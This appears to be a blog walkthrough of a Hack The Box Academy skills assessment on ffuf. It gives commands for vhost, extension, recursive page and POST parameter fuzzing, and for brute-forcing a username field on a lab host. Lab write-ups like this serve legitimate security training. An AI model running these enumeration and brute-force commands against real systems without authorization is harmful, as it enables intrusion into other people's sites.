HTB Academy: Attacking Web Applications With ffuf Skills Assessment Walkthrough
Hack The Box’s ffuf skills assessment tests your ability to take what you’ve learned so far in this module and apply it to a final exercise. This blog post walks you through the steps to completing the final exercise and assumes that you have already completed the previous sections of this module.
Tools and Techniques
- HTB Pwnbox (Parrot OS)
- ffuf
- SecLists
Setup
Start off by spawning your target instance and inputting its corresponding domain in /etc/hosts
. Add the following line to /etc/hosts
and change IP_ADDR
to the IP address of your target. Do not include the port number.
IP_ADDR academy.htb
First Question
“Run a sub-domain/vhost fuzzing scan on ‘*.academy.htb’ for the IP shown above. What are all the sub-domains you can identify? (Only write the sub-domain name, separated by spaces in alphabetical order ‘subdomain1 subdomain2 subdomain3’)”
To solve the first question, you need to understand the two commands for subdomain fuzzing and vhost fuzzing.
The command for subdomain scanning in this case is as follows:
ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.academy.htb:PORT/
Note that if you run just a subdomain scan, ffuf may return errors. If you’ve confirmed that your command does not have any typos, then the next step is to try to run a vhost scan. Subdomains on a particular host may not be accessible publicly, at which point a vhost scan becomes necessary to sniff out domains that are not registered publicly.
The command for a vhost scan is as follows:
ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb'
It is not enough to just run the vhost fuzz alone, as it will inevitably result in a lot of clutter in the output. To clean up the output, filter out the results which are decidedly not needed. In this case, it is all of the requests that returned a response of size 985. To filter these, add -fs 985
to the end of the previous command, which can be read as “filter size 985”:
ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs 985
Now that you have discovered other vhosts under this IP address, add them to /etc/hosts to easily reference them in the next questions.
Second question
“Before you run your page fuzzing scan, you should first run an extension fuzzing scan. What are the different extensions accepted by the domains? (Write the extensions as ‘.ext’, in alphabetical order separated by spaces ‘.ext1 .ext2 .ext3’)”
To discover which extensions the target accepts, run the following command for extension fuzzing:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://academy.htb:PORT/indexFUZZ
Which returns the following result:
You will notice that just inputting those two extensions as the answer will not work. So far, an extension fuzz was only performed on the original target academy.htb
. Now, try it on the other ones which were uncovered while answering the first question:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://test.academy.htb:PORT/indexFUZZ
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://archive.academy.htb:PORT/indexFUZZ
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://faculty.academy.htb:PORT/indexFUZZ
In the end, you should get three distinct PHP extensions.
Third Question
“One of the pages you will identify should say ‘You don’t have access!’. What is the full page URL?”
When you are trying to find out if a particular page has a certain string of text, but you do not know the location of the page, it could be pretty much anywhere on the target. A search this complex requires a recursive page fuzz. It’s a recursive fuzz because the exact location of the page is unknown, and it is a page fuzz because the question is asking about a particular “page”.
For this particular step, find something to do in the mean time for at least 5 minutes, as recursive scans can be time-consuming, even with increased threads. Furthermore, to find the exact location of the page, you will need to perform a recursive scan on each subdomain you discovered, and with each of the extensions you’ve found.
The format of the command for a recursive fuzz is as follows:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://academy.htb:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v -t 80
Do the same with the other extensions and the other subdomains, and you should eventually get an interesting result with faculty.academy.htb. During the subdomain’s recursive fuzz, faculty.academy.htb/courses/
was discovered, so ffuf added a job to the queue to search for pages within the courses/
subdirectory.
Later, as it searches within that subdirectory, it stumbles upon a page:
The index.php7 page can be ignored since it is size 0, meaning there is no text there. The linux-security.php7 page, on the other hand, looks interesting. It is of size 774 and so far is the only non-zero size page discovered in the fuzz aside from the target’s homepage. Running a curl
of the page from the Terminal returns the following text:
Fourth Question
You may have noticed at this point that each subsequent question is a progression of the previous one. This is particularly true of this one, which expects you to find out which parameters the php7 page from the previous question accepts.
To accomplish this, perform a parameter fuzz on the page:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://faculty.academy.htb:PORT/courses/linux-security.php7 -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded'
Next, add a filter at the end of the command. In this particular case, the filter size is 774:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://faculty.academy.htb:30796/courses/linux-security.php7 -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs 774
This command results in the output of the parameters user
and username
.
Final Question
The final question requires a value fuzz. Since the two parameters discovered in the previous two questions are related to user credentials, this question requires a little creativity. Essentially, you must find a wordlist that may be useful for bruteforcing usernames. SecLists provides a handful of good ones in its Usernames subdirectory. For academic exercises like this, start off with a short wordlist to avoid unnecessary time consumption. If that does not work, progress to a larger wordlist. You should be able to crack this one via the following two commands in sequence:
ffuf -w /opt/useful/SecLists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u http://faculty.academy.htb:30401/courses/linux-security.php7 -X POST -d 'username=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded'
…which shows that the content length to filter by is 781, hence:
ffuf -w /opt/useful/SecLists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u http://faculty.academy.htb:30401/courses/linux-security.php7 -X POST -d 'username=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 781